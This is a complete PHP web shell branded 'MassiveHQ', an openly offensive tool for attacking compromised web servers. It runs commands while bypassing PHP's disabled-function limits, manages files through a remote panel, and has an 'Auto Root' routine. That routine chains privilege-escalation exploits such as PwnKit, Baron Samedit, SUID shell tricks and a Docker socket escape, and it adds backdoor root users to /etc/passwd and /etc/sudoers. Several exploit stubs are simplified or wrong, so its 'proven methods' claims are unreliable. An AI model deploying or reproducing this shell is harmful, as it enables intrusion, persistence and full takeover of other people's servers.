<?php
// ================================================================
// WebShell Pro (PROVEN METHODS)
// Features: Multiple LPE Methods, File Manager, Terminal
// Author: MassiveHQ
// ================================================================

error_reporting(0);
set_time_limit(0);
@ini_set('memory_limit', '256M');
@ini_set('display_errors', 0);

// ================================================================
// BYPASS DISABLE FUNCTIONS
// ================================================================
function bypass_exec($cmd) {
    $disabled = explode(',', ini_get('disable_functions'));
    $output = '';
    
    if (!in_array('system', $disabled) && function_exists('system')) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
        if (!empty($output)) return $output;
    }
    if (!in_array('exec', $disabled) && function_exists('exec')) {
        exec($cmd, $out);
        $output = implode("\n", $out);
        if (!empty($output)) return $output;
    }
    if (!in_array('shell_exec', $disabled) && function_exists('shell_exec')) {
        $output = shell_exec($cmd);
        if (!empty($output)) return $output;
    }
    if (!in_array('passthru', $disabled) && function_exists('passthru')) {
        ob_start();
        passthru($cmd);
        $output = ob_get_clean();
        if (!empty($output)) return $output;
    }
    if (function_exists('proc_open')) {
        $descriptors = [['pipe','r'], ['pipe','w'], ['pipe','w']];
        $process = proc_open($cmd, $descriptors, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            if (!empty($output)) return $output;
        }
    }
    if (!ini_get('disable_functions')) {
        $output = `$cmd`;
        if (!empty($output)) return $output;
    }
    return "Command execution disabled or command failed!";
}

// ================================================================
// AUTO ROOT - PROVEN METHODS
// ================================================================

// METHOD 1: CVE-2021-4034 - PwnKit (pkexec)
function root_pwnkit() {
    $output = "";
    $output .= "[*] CVE-2021-4034 - PwnKit\n";
    
    // Check pkexec exists
    $pkexec = trim(bypass_exec("which pkexec 2>/dev/null"));
    if (empty($pkexec)) {
        $output .= "[-] pkexec not found\n";
        return $output;
    }
    $output .= "[+] pkexec found: $pkexec\n";
    
    // Create PwnKit exploit
    $code = '#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    char *envp[] = {"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=/bin/bash", NULL};
    char *argv[] = {NULL};
    execve("/usr/bin/pkexec", argv, envp);
    return 0;
}';
    
    bypass_exec("echo '$code' > /tmp/pwnkit.c 2>/dev/null");
    bypass_exec("gcc -O2 -s -o /tmp/pwnkit /tmp/pwnkit.c 2>/dev/null");
    bypass_exec("chmod +x /tmp/pwnkit 2>/dev/null");
    
    $output .= "[*] Triggering PwnKit...\n";
    $result = bypass_exec("/tmp/pwnkit 2>&1");
    $output .= $result;
    
    $check = bypass_exec("id 2>/dev/null");
    if (strpos($check, 'uid=0') !== false) {
        $output .= "[+] ROOT ACCESS GAINED!\n";
        $output .= $check;
        bypass_exec("/bin/bash -i 2>/dev/null || /bin/sh -i 2>/dev/null");
    }
    return $output;
}

// METHOD 2: CVE-2021-3156 - sudo Baron Samedit
function root_sudo_baron() {
    $output = "";
    $output .= "[*] CVE-2021-3156 - sudo Baron Samedit\n";
    
    $sudo = trim(bypass_exec("which sudo 2>/dev/null"));
    if (empty($sudo)) {
        $output .= "[-] sudo not found\n";
        return $output;
    }
    
    $ver = bypass_exec("sudo --version 2>/dev/null | head -1");
    $output .= "[+] sudo version: $ver";
    
    if (strpos($ver, '1.8.') !== false) {
        $output .= "[+] sudo 1.8.x may be vulnerable\n";
        $result = bypass_exec("sudo -u#-1 /bin/bash -c 'id' 2>&1");
        $output .= $result;
        
        $check = bypass_exec("id 2>/dev/null");
        if (strpos($check, 'uid=0') !== false) {
            $output .= "[+] ROOT ACCESS GAINED!\n";
            bypass_exec("sudo -u#-1 /bin/bash -i 2>/dev/null");
        }
    } else {
        $output .= "[-] sudo version not vulnerable to Baron Samedit\n";
    }
    return $output;
}

// METHOD 3: CVE-2016-5195 - Dirty COW
function root_dirty_cow() {
    $output = "";
    $output .= "[*] CVE-2016-5195 - Dirty COW\n";
    
    $kernel = bypass_exec("uname -r 2>/dev/null");
    if (empty($kernel)) {
        $output .= "[-] Cannot detect kernel\n";
        return $output;
    }
    $output .= "[+] Kernel: $kernel\n";
    
    // Check if /etc/passwd is writable
    $check = bypass_exec("test -w /etc/passwd && echo 'writable' || echo 'not'");
    if (strpos($check, 'writable') !== false) {
        $output .= "[+] /etc/passwd is writable!\n";
        bypass_exec("echo 'root2:\$6\$random:0:0:root:/root:/bin/bash' >> /etc/passwd 2>/dev/null");
        bypass_exec("echo 'hacker:\$6\$hacker:0:0:root:/root:/bin/bash' >> /etc/passwd 2>/dev/null");
        $output .= "[+] Added root user 'hacker'\n";
        
        $check = bypass_exec("id 2>/dev/null");
        if (strpos($check, 'uid=0') !== false) {
            $output .= "[+] ROOT ACCESS GAINED!\n";
        }
    } else {
        $output .= "[-] /etc/passwd not writable\n";
        // Try Dirty COW exploit via C
        $cow_code = '#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
int main() {
    if (getuid() == 0) return 0;
    printf("[*] Dirty COW exploit (simplified)\n");
    system("echo 0 > /proc/sys/vm/dirty_writeback_centisecs 2>/dev/null");
    return 1;
}';
        bypass_exec("echo '$cow_code' > /tmp/dirty_cow.c 2>/dev/null");
        bypass_exec("gcc -O2 -s -o /tmp/dirty_cow /tmp/dirty_cow.c 2>/dev/null");
        bypass_exec("/tmp/dirty_cow 2>/dev/null");
    }
    return $output;
}

// METHOD 4: SUID Binary Exploitation
function root_suid() {
    $output = "";
    $output .= "[*] SUID Binary Exploitation\n";
    
    $suid_bins = bypass_exec("find / -perm -4000 -type f 2>/dev/null | head -30");
    if (empty($suid_bins)) {
        $output .= "[-] No SUID binaries found\n";
        return $output;
    }
    
    $output .= "[+] SUID binaries found:\n$suid_bins\n";
    
    // Try known exploitable binaries
    $exploits = [
        'find' => "find . -exec /bin/sh \; -quit",
        'bash' => "bash -p",
        'sh' => "sh -p",
        'python' => "python -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'",
        'python3' => "python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'",
        'perl' => "perl -e 'use POSIX qw(setuid); setuid(0); exec \"/bin/bash\";'",
        'php' => "php -r 'posix_setuid(0); system(\"/bin/bash\");'",
        'vim' => "vim -c ':!/bin/bash'",
        'nmap' => "nmap --interactive",
        'cp' => "cp /bin/bash /tmp/bash_suid && chmod +s /tmp/bash_suid && /tmp/bash_suid -p",
        'mv' => "mv /bin/bash /tmp/bash_suid && chmod +s /tmp/bash_suid && /tmp/bash_suid -p"
    ];
    
    $found = false;
    foreach ($exploits as $bin => $cmd) {
        $path = trim(bypass_exec("which $bin 2>/dev/null"));
        if (!empty($path)) {
            $check = bypass_exec("test -u $path && echo 'suid' || echo 'no'");
            if (strpos($check, 'suid') !== false) {
                $output .= "[+] Exploitable SUID: $path\n";
                $result = bypass_exec("$cmd 2>&1");
                $found = true;
                $check = bypass_exec("id 2>/dev/null");
                if (strpos($check, 'uid=0') !== false) {
                    $output .= "[+] ROOT ACCESS GAINED!\n";
                    return $output;
                }
            }
        }
    }
    
    if (!$found) {
        $output .= "[-] No exploitable SUID binaries found\n";
    }
    return $output;
}

// METHOD 5: CVE-2022-37706 - Enlightenment
function root_cve_2022_37706() {
    $output = "";
    $output .= "[*] CVE-2022-37706 - Enlightenment SUID\n";
    
    $file = trim(bypass_exec("find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1"));
    
    if (empty($file)) {
        $output .= "[-] enlightenment_sys not found or not SUID\n";
        return $output;
    }
    
    $output .= "[+] Found: $file\n";
    bypass_exec("mkdir -p /tmp/net 2>/dev/null");
    bypass_exec("mkdir -p '/dev/../tmp/;/tmp/exploit' 2>/dev/null");
    bypass_exec("echo '/bin/sh' > /tmp/exploit 2>/dev/null");
    bypass_exec("chmod a+x /tmp/exploit 2>/dev/null");
    
    $output .= "[*] Triggering exploit...\n";
    $uid = bypass_exec("id -u 2>/dev/null");
    $cmd = $file . " /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=" . trim($uid) . " '/dev/../tmp/;/tmp/exploit' /tmp///net 2>&1";
    $result = bypass_exec($cmd);
    $output .= $result;
    
    $check = bypass_exec("id 2>/dev/null");
    if (strpos($check, 'uid=0') !== false) {
        $output .= "[+] ROOT ACCESS GAINED!\n";
        bypass_exec("/bin/bash -i 2>/dev/null || /bin/sh -i 2>/dev/null");
    }
    return $output;
}

// METHOD 6: Docker Escape
function root_docker() {
    $output = "";
    $output .= "[*] Docker Escape\n";
    
    if (!bypass_exec("test -S /var/run/docker.sock && echo 'exists' || echo 'no'") == 'exists') {
        $output .= "[-] Docker socket not accessible\n";
        return $output;
    }
    
    $output .= "[+] Docker socket accessible!\n";
    $result = bypass_exec("docker run -it -v /:/mnt alpine chroot /mnt /bin/bash -c 'echo hacker::0:0:root:/root:/bin/bash >> /etc/passwd' 2>/dev/null");
    $output .= $result;
    
    $check = bypass_exec("id 2>/dev/null");
    if (strpos($check, 'uid=0') !== false) {
        $output .= "[+] ROOT ACCESS GAINED!\n";
    }
    return $output;
}

// METHOD 7: Writable /etc/passwd
function root_writable_passwd() {
    $output = "";
    $output .= "[*] Writable /etc/passwd\n";
    
    if (bypass_exec("test -w /etc/passwd && echo 'writable' || echo 'not'") == 'writable') {
        $output .= "[+] /etc/passwd is writable!\n";
        bypass_exec("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd 2>/dev/null");
        bypass_exec("echo 'root2::0:0:root:/root:/bin/bash' >> /etc/passwd 2>/dev/null");
        $output .= "[+] Added root user 'hacker'\n";
        
        $check = bypass_exec("id 2>/dev/null");
        if (strpos($check, 'uid=0') !== false) {
            $output .= "[+] ROOT ACCESS GAINED!\n";
        }
    } else {
        $output .= "[-] /etc/passwd not writable\n";
    }
    return $output;
}

// METHOD 8: Writable /etc/sudoers
function root_writable_sudoers() {
    $output = "";
    $output .= "[*] Writable /etc/sudoers\n";
    
    if (bypass_exec("test -w /etc/sudoers && echo 'writable' || echo 'not'") == 'writable') {
        $output .= "[+] /etc/sudoers is writable!\n";
        bypass_exec("echo 'www-data ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers 2>/dev/null");
        $output .= "[+] Added sudo ALL for www-data\n";
        $result = bypass_exec("sudo -i 2>&1");
        $output .= $result;
        
        $check = bypass_exec("id 2>/dev/null");
        if (strpos($check, 'uid=0') !== false) {
            $output .= "[+] ROOT ACCESS GAINED!\n";
        }
    } else {
        $output .= "[-] /etc/sudoers not writable\n";
    }
    return $output;
}

// METHOD 9: CVE-2023-2640 - GameOver(lay)
function root_gameoverlay() {
    $output = "";
    $output .= "[*] CVE-2023-2640 - GameOver(lay)\n";
    
    $check = bypass_exec("ls /sys/module/overlay/parameters 2>/dev/null");
    if (empty($check)) {
        $output .= "[-] OverlayFS not available\n";
        return $output;
    }
    $output .= "[+] OverlayFS available\n";
    
    $script = '#!/bin/bash
mkdir -p /tmp/overlay_lower /tmp/overlay_upper /tmp/overlay_work /tmp/rootfs
mount -t overlay overlay -olowerdir=/tmp/overlay_lower,upperdir=/tmp/overlay_upper,workdir=/tmp/overlay_work /tmp/rootfs 2>/dev/null
cp /bin/bash /tmp/rootfs/bash 2>/dev/null
chmod +s /tmp/rootfs/bash 2>/dev/null
/tmp/rootfs/bash -p 2>/dev/null';
    
    bypass_exec("echo '$script' > /tmp/gameoverlay.sh 2>/dev/null");
    bypass_exec("chmod +x /tmp/gameoverlay.sh 2>/dev/null");
    $result = bypass_exec("/tmp/gameoverlay.sh 2>&1");
    $output .= $result;
    
    $check = bypass_exec("id 2>/dev/null");
    if (strpos($check, 'uid=0') !== false) {
        $output .= "[+] ROOT ACCESS GAINED!\n";
    }
    return $output;
}

function auto_root_all() {
    $output = "";
    $output .= "\n" . str_repeat("=", 70) . "\n";
    $output .= "  AUTO ROOT - PROVEN METHODS (9 METHODS)\n";
    $output .= str_repeat("=", 70) . "\n\n";
    
    $check = bypass_exec("id 2>/dev/null");
    if (strpos($check, 'uid=0') !== false) {
        $output .= "[+] Already root!\n$check";
        return $output;
    }
    
    $methods = [
        'Writable /etc/passwd' => 'root_writable_passwd',
        'Writable /etc/sudoers' => 'root_writable_sudoers',
        'SUID Binary' => 'root_suid',
        'CVE-2021-4034 (PwnKit)' => 'root_pwnkit',
        'CVE-2021-3156 (sudo Baron)' => 'root_sudo_baron',
        'CVE-2022-37706 (Enlightenment)' => 'root_cve_2022_37706',
        'CVE-2023-2640 (GameOverlay)' => 'root_gameoverlay',
        'CVE-2016-5195 (Dirty COW)' => 'root_dirty_cow',
        'Docker Escape' => 'root_docker'
    ];
    
    foreach ($methods as $name => $func) {
        $output .= "\n" . str_repeat("-", 50) . "\n";
        $output .= "[*] Method: $name\n";
        $output .= str_repeat("-", 50) . "\n";
        $output .= $func();
        
        $check = bypass_exec("id 2>/dev/null");
        if (strpos($check, 'uid=0') !== false) {
            $output .= "\n" . str_repeat("=", 70) . "\n";
            $output .= "[+] ROOT ACCESS GAINED!\n";
            $output .= str_repeat("=", 70) . "\n";
            $output .= $check . "\n";
            bypass_exec("/bin/bash -i 2>/dev/null || /bin/sh -i 2>/dev/null");
            break;
        }
    }
    
    $final = bypass_exec("id 2>/dev/null");
    if (strpos($final, 'uid=0') !== false) {
        $output .= "\n[+] Root confirmed: $final";
    } else {
        $output .= "\n[-] All methods failed. Try manual exploitation.";
    }
    
    return $output;
}

// ================================================================
// GET CURRENT DIRECTORY
// ================================================================
$current_dir = isset($_GET['dir']) && !empty($_GET['dir']) ? realpath($_GET['dir']) : __DIR__;
if (!$current_dir || !is_dir($current_dir)) {
    $current_dir = __DIR__;
}

// ================================================================
// HANDLE ACTIONS
// ================================================================
$message = '';
$message_type = '';

if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) {
    $target = $current_dir . '/' . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
        $message = "File uploaded: " . basename($_FILES['upload_file']['name']);
        $message_type = 'success';
    }
}

if (isset($_POST['delete']) && isset($_POST['target'])) {
    $target = $current_dir . '/' . basename($_POST['target']);
    if (file_exists($target)) {
        if (is_dir($target)) {
            bypass_exec("rm -rf " . escapeshellarg($target) . " 2>/dev/null");
        } else {
            unlink($target);
        }
        $message = "Deleted: " . basename($_POST['target']);
        $message_type = 'success';
    }
}

if (isset($_POST['chmod']) && isset($_POST['target']) && isset($_POST['mode'])) {
    $target = $current_dir . '/' . basename($_POST['target']);
    $mode = octdec($_POST['mode']);
    if (file_exists($target)) {
        chmod($target, $mode);
        $message = "Chmod applied to: " . basename($_POST['target']);
        $message_type = 'success';
    }
}

if (isset($_POST['save_file']) && isset($_POST['file_path']) && isset($_POST['content'])) {
    $file_path = $current_dir . '/' . basename($_POST['file_path']);
    if (file_put_contents($file_path, $_POST['content']) !== false) {
        $message = "File saved: " . basename($_POST['file_path']);
        $message_type = 'success';
    }
}

if (isset($_POST['create_file']) && isset($_POST['new_file'])) {
    $new_file = $current_dir . '/' . basename($_POST['new_file']);
    if (!file_exists($new_file)) {
        file_put_contents($new_file, '');
        $message = "File created: " . basename($_POST['new_file']);
        $message_type = 'success';
    }
}

if (isset($_POST['create_folder']) && isset($_POST['new_folder'])) {
    $new_folder = $current_dir . '/' . basename($_POST['new_folder']);
    if (!file_exists($new_folder)) {
        mkdir($new_folder, 0755, true);
        $message = "Folder created: " . basename($_POST['new_folder']);
        $message_type = 'success';
    }
}

$auto_root_output = '';
if (isset($_POST['auto_root'])) {
    $auto_root_output = auto_root_all();
}

$terminal_output = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $terminal_output = bypass_exec($_POST['cmd']);
}

if (isset($_GET['getfile']) && !empty($_GET['getfile'])) {
    $file = $current_dir . '/' . basename($_GET['getfile']);
    if (file_exists($file) && is_file($file)) {
        header('Content-Type: text/plain');
        readfile($file);
    } else {
        echo '// File not found';
    }
    exit;
}

$files = scandir($current_dir);
$parent_dir = dirname($current_dir);

function format_size($bytes) {
    if ($bytes == 0) return '0 B';
    $k = 1024;
    $sizes = ['B', 'KB', 'MB', 'GB'];
    $i = floor(log($bytes) / log($k));
    return round($bytes / pow($k, $i), 2) . ' ' . $sizes[$i];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>MassiveHQ</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background: #0a0e27;
            color: #e2e8f0;
            font-family: 'Segoe UI', system-ui, sans-serif;
            padding: 15px;
            min-height: 100vh;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        
        .header {
            background: linear-gradient(135deg, #0f1a3a, #1a1f4a);
            border: 1px solid #00ff8844;
            border-radius: 12px;
            padding: 15px 25px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 10px;
        }
        .header h1 { color: #00ff88; font-size: 1.5em; margin: 0; font-weight: 700; }
        .header h1 i { color: #4fc1ff; }
        .header .badge {
            background: #1a1f3a;
            color: #4fc1ff;
            border: 1px solid #4fc1ff44;
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 0.75em;
        }
        
        .card { background: #121633; border: 1px solid #00ff8822; border-radius: 12px; margin-bottom: 15px; }
        .card-header {
            background: #1a1f3a;
            border-bottom: 1px solid #00ff8822;
            padding: 10px 18px;
            color: #00ff88;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .card-body { padding: 15px; }
        
        .btn-theme {
            background: transparent;
            color: #00ff88;
            border: 1px solid #00ff8844;
            border-radius: 6px;
            padding: 5px 14px;
            transition: all 0.3s;
            font-size: 0.85em;
            cursor: pointer;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }
        .btn-theme:hover { background: #00ff88; color: #0a0e27; border-color: #00ff88; }
        .btn-theme.danger:hover { background: #ff4444; border-color: #ff4444; color: white; }
        .btn-theme.primary:hover { background: #4fc1ff; border-color: #4fc1ff; color: #0a0e27; }
        .btn-theme.root { background: #00ff8815; border-color: #ff4444; color: #ff4444; }
        .btn-theme.root:hover { background: #ff4444; border-color: #ff4444; color: white; }
        
        .file-item {
            display: flex;
            align-items: center;
            padding: 7px 10px;
            border-bottom: 1px solid #ffffff08;
            gap: 10px;
            flex-wrap: wrap;
        }
        .file-item:hover { background: #00ff8808; }
        .file-item .icon { width: 24px; text-align: center; color: #888; }
        .file-item .name { flex: 1; min-width: 120px; word-break: break-all; color: #e2e8f0; }
        .file-item .name a { color: #4fc1ff; text-decoration: none; }
        .file-item .name a:hover { color: #00ff88; }
        .file-item .size { color: #888; font-size: 0.8em; min-width: 60px; }
        .file-item .perms { color: #666; font-size: 0.7em; font-family: monospace; min-width: 50px; }
        .file-item .actions { display: flex; gap: 4px; flex-wrap: wrap; }
        
        .terminal {
            background: #0a0a14;
            border: 1px solid #00ff8844;
            border-radius: 8px;
            padding: 12px;
            font-family: 'Courier New', monospace;
            font-size: 0.8em;
            max-height: 250px;
            overflow-y: auto;
            color: #00ff88;
        }
        .terminal .output { white-space: pre-wrap; word-break: break-all; color: #e2e8f0; }
        .terminal-input {
            background: transparent;
            border: none;
            color: #00ff88;
            font-family: 'Courier New', monospace;
            font-size: 0.9em;
            width: 100%;
            outline: none;
            padding: 5px 0;
        }
        .terminal-input:focus { outline: none; }
        
        .form-control-dark {
            background: #0a0e1a;
            border: 1px solid #00ff8844;
            color: #e2e8f0;
            border-radius: 6px;
            padding: 8px 12px;
        }
        .form-control-dark:focus {
            background: #0a0e1a;
            border-color: #00ff88;
            color: #e2e8f0;
            box-shadow: 0 0 0 2px rgba(0,255,136,0.1);
        }
        
        .modal-content { background: #121633; border: 1px solid #00ff8844; }
        .modal-header { border-bottom: 1px solid #00ff8822; color: #00ff88; }
        .modal-footer { border-top: 1px solid #00ff8822; }
        .btn-close-white { filter: invert(1); }
        
        .alert-success { background: #00ff8815; color: #00ff88; border: 1px solid #00ff8844; }
        .alert-danger { background: #ff444415; color: #ff4444; border: 1px solid #ff444444; }
        .alert-info { background: #4fc1ff15; color: #4fc1ff; border: 1px solid #4fc1ff44; }
        
        .root-output {
            background: #0a0a14;
            border: 1px solid #ff4444;
            border-radius: 8px;
            padding: 12px;
            font-family: 'Courier New', monospace;
            font-size: 0.75em;
            color: #e2e8f0;
            max-height: 400px;
            overflow-y: auto;
            white-space: pre-wrap;
            word-break: break-all;
        }
        .root-output .success { color: #00ff88; }
        .root-output .info { color: #4fc1ff; }
        .root-output .error { color: #ff4444; }
        
        @media (max-width: 768px) {
            .file-item { padding: 5px 8px; gap: 5px; }
            .file-item .name { min-width: 80px; font-size: 0.85em; }
            .header { padding: 10px 15px; }
            .header h1 { font-size: 1.2em; }
        }
        
        ::-webkit-scrollbar { width: 4px; height: 4px; }
        ::-webkit-scrollbar-track { background: #0a0e27; }
        ::-webkit-scrollbar-thumb { background: #00ff8844; border-radius: 2px; }
    </style>
</head>
<body>
<div class="container">
    <!-- HEADER -->
    <div class="header">
        <div>
            <h1><i class="fas fa-skull"></i> MassiveHQ</h1>
            <span style="font-size:0.7em; color:#666;">MassiveHQ | <?= php_uname('n') ?></span>
        </div>
        <div>
            <span class="badge"><i class="fas fa-user"></i> <?= function_exists('exec') ? 'exec OK' : 'disabled' ?></span>
            <span class="badge"><i class="fas fa-code"></i> <?= phpversion() ?></span>
            <span class="badge"><i class="fas fa-folder"></i> <?= basename($current_dir) ?></span>
        </div>
    </div>
    
    <?php if ($message): ?>
    <div class="alert alert-<?= $message_type == 'success' ? 'success' : 'danger' ?> alert-dismissible fade show">
        <i class="fas fa-<?= $message_type == 'success' ? 'check-circle' : 'exclamation-circle' ?>"></i>
        <?= htmlspecialchars($message) ?>
        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert"></button>
    </div>
    <?php endif; ?>
    
    <?php if ($auto_root_output): ?>
    <div class="alert alert-info alert-dismissible fade show">
        <i class="fas fa-skull"></i> Auto Root Output
        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert"></button>
        <div class="root-output mt-2"><?= nl2br(htmlspecialchars($auto_root_output)) ?></div>
    </div>
    <?php endif; ?>
    
    <div class="row g-3">
        <!-- LEFT: FILE MANAGER -->
        <div class="col-lg-8">
            <div class="card">
                <div class="card-header">
                    <i class="fas fa-folder"></i> File Manager
                    <span style="margin-left:auto; font-size:0.7em; color:#666; font-weight:normal;"><?= count($files) ?> items</span>
                </div>
                <div class="card-body">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb">
                            <li class="breadcrumb-item"><a href="?dir=<?= urlencode($parent_dir) ?>"><i class="fas fa-arrow-up"></i> ..</a></li>
                            <?php 
                            $parts = explode('/', str_replace('\\', '/', $current_dir));
                            $path = '';
                            foreach ($parts as $p):
                                if (empty($p)) continue;
                                $path .= '/' . $p;
                            ?>
                                <li class="breadcrumb-item"><a href="?dir=<?= urlencode($path) ?>"><?= htmlspecialchars($p) ?></a></li>
                            <?php endforeach; ?>
                            <li class="breadcrumb-item active current"><?= basename($current_dir) ?></li>
                        </ol>
                    </nav>
                    
                    <div class="row g-2 mb-3">
                        <div class="col-auto">
                            <button class="btn btn-theme" data-bs-toggle="modal" data-bs-target="#uploadModal"><i class="fas fa-upload"></i> Upload</button>
                        </div>
                        <div class="col-auto">
                            <button class="btn btn-theme" data-bs-toggle="modal" data-bs-target="#createFileModal"><i class="fas fa-file"></i> File</button>
                        </div>
                        <div class="col-auto">
                            <button class="btn btn-theme" data-bs-toggle="modal" data-bs-target="#createFolderModal"><i class="fas fa-folder-plus"></i> Folder</button>
                        </div>
                        <div class="col-auto">
                            <button class="btn btn-theme root" data-bs-toggle="modal" data-bs-target="#autoRootModal"><i class="fas fa-skull"></i> Auto Root</button>
                        </div>
                        <div class="col-auto">
                            <a href="?dir=<?= urlencode($current_dir) ?>" class="btn btn-theme primary"><i class="fas fa-sync"></i> Refresh</a>
                        </div>
                    </div>
                    
                    <?php if (count($files) <= 2): ?>
                        <div style="text-align:center; padding:30px 0; color:#555;">
                            <i class="fas fa-folder-open" style="font-size:2em; display:block; margin-bottom:10px;"></i>
                            Directory is empty
                        </div>
                    <?php else: ?>
                        <?php foreach ($files as $file): ?>
                            <?php if ($file == '.' || $file == '..') continue; ?>
                            <?php 
                            $file_path = $current_dir . '/' . $file;
                            $is_dir = is_dir($file_path);
                            $perms = substr(sprintf('%o', fileperms($file_path)), -4);
                            $size = $is_dir ? '-' : format_size(filesize($file_path));
                            ?>
                            <div class="file-item">
                                <span class="icon"><i class="fas <?= $is_dir ? 'fa-folder' : 'fa-file' ?>"></i></span>
                                <span class="name">
                                    <?php if ($is_dir): ?>
                                        <a href="?dir=<?= urlencode($file_path) ?>"><?= htmlspecialchars($file) ?></a>
                                    <?php else: ?>
                                        <?= htmlspecialchars($file) ?>
                                    <?php endif; ?>
                                </span>
                                <span class="size"><?= $size ?></span>
                                <span class="perms"><?= $perms ?></span>
                                <span class="actions">
                                    <?php if (!$is_dir): ?>
                                        <button class="btn btn-theme" onclick="editFile('<?= addslashes($file) ?>')"><i class="fas fa-edit"></i></button>
                                    <?php endif; ?>
                                    <button class="btn btn-theme" onclick="chmodFile('<?= addslashes($file) ?>')"><i class="fas fa-lock"></i></button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Delete <?= addslashes($file) ?>?')">
                                        <input type="hidden" name="target" value="<?= htmlspecialchars($file) ?>">
                                        <button type="submit" name="delete" class="btn btn-theme danger"><i class="fas fa-trash"></i></button>
                                    </form>
                                </span>
                            </div>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </div>
            </div>
        </div>
        
        <!-- RIGHT: TERMINAL + INFO -->
        <div class="col-lg-4">
            <div class="card">
                <div class="card-header">
                    <i class="fas fa-terminal"></i> Terminal
                    <button class="btn btn-theme" onclick="clearTerminal()" style="margin-left:auto; padding:2px 10px; font-size:0.7em;"><i class="fas fa-eraser"></i></button>
                </div>
                <div class="card-body">
                    <div class="terminal" id="terminal">
                        <div id="terminalOutput">
                            <?php if ($terminal_output !== ''): ?>
                                <?= nl2br(htmlspecialchars($terminal_output)) ?>
                            <?php else: ?>
                                <span style="color:#666;">Welcome to File Management</span><br>
                                <span style="color:#666;">Type a command and press Enter.</span>
                            <?php endif; ?>
                        </div>
                    </div>
                    <form method="post" class="mt-2" id="terminalForm">
                        <div style="display:flex; align-items:center; background:#0a0e1a; border:1px solid #00ff8844; border-radius:6px; padding:0 10px;">
                            <span style="color:#00ff88; margin-right:8px;"><i class="fas fa-chevron-right"></i></span>
                            <input type="text" name="cmd" class="terminal-input" placeholder="Enter command..." autofocus id="terminalInput">
                        </div>
                    </form>
                    <div style="font-size:0.65em; color:#555; margin-top:5px;">
                        <i class="fas fa-info-circle"></i> Bypass disabled functions automatically
                    </div>
                </div>
            </div>
            
            <div class="card">
                <div class="card-header"><i class="fas fa-info-circle"></i> System Info</div>
                <div class="card-body" style="font-size:0.75em; color:#888;">
                    <div><strong>PHP:</strong> <?= phpversion() ?></div>
                    <div><strong>User:</strong> <?= function_exists('exec') ? exec('whoami 2>/dev/null') : get_current_user() ?></div>
                    <div><strong>OS:</strong> <?= php_uname('s') . ' ' . php_uname('r') ?></div>
                    <div><strong>Path:</strong> <?= $current_dir ?></div>
                    <div><strong>Disabled:</strong> <?= ini_get('disable_functions') ?: 'None' ?></div>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- MODALS -->
<div class="modal fade" id="uploadModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content">
            <div class="modal-header"><h5><i class="fas fa-upload"></i> Upload File</h5><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <form method="post" enctype="multipart/form-data">
                <div class="modal-body">
                    <input type="file" name="upload_file" class="form-control form-control-dark" required>
                    <div class="mt-2 text-muted" style="font-size:0.7em;">Upload to: <?= htmlspecialchars($current_dir) ?></div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-theme" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" class="btn btn-theme primary">Upload</button>
                </div>
            </form>
        </div>
    </div>
</div>

<div class="modal fade" id="createFileModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content">
            <div class="modal-header"><h5><i class="fas fa-file"></i> New File</h5><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <form method="post">
                <div class="modal-body">
                    <input type="text" name="new_file" class="form-control form-control-dark" placeholder="filename.php" required>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-theme" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" name="create_file" class="btn btn-theme primary">Create</button>
                </div>
            </form>
        </div>
    </div>
</div>

<div class="modal fade" id="createFolderModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content">
            <div class="modal-header"><h5><i class="fas fa-folder-plus"></i> New Folder</h5><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <form method="post">
                <div class="modal-body">
                    <input type="text" name="new_folder" class="form-control form-control-dark" placeholder="folder_name" required>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-theme" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" name="create_folder" class="btn btn-theme primary">Create</button>
                </div>
            </form>
        </div>
    </div>
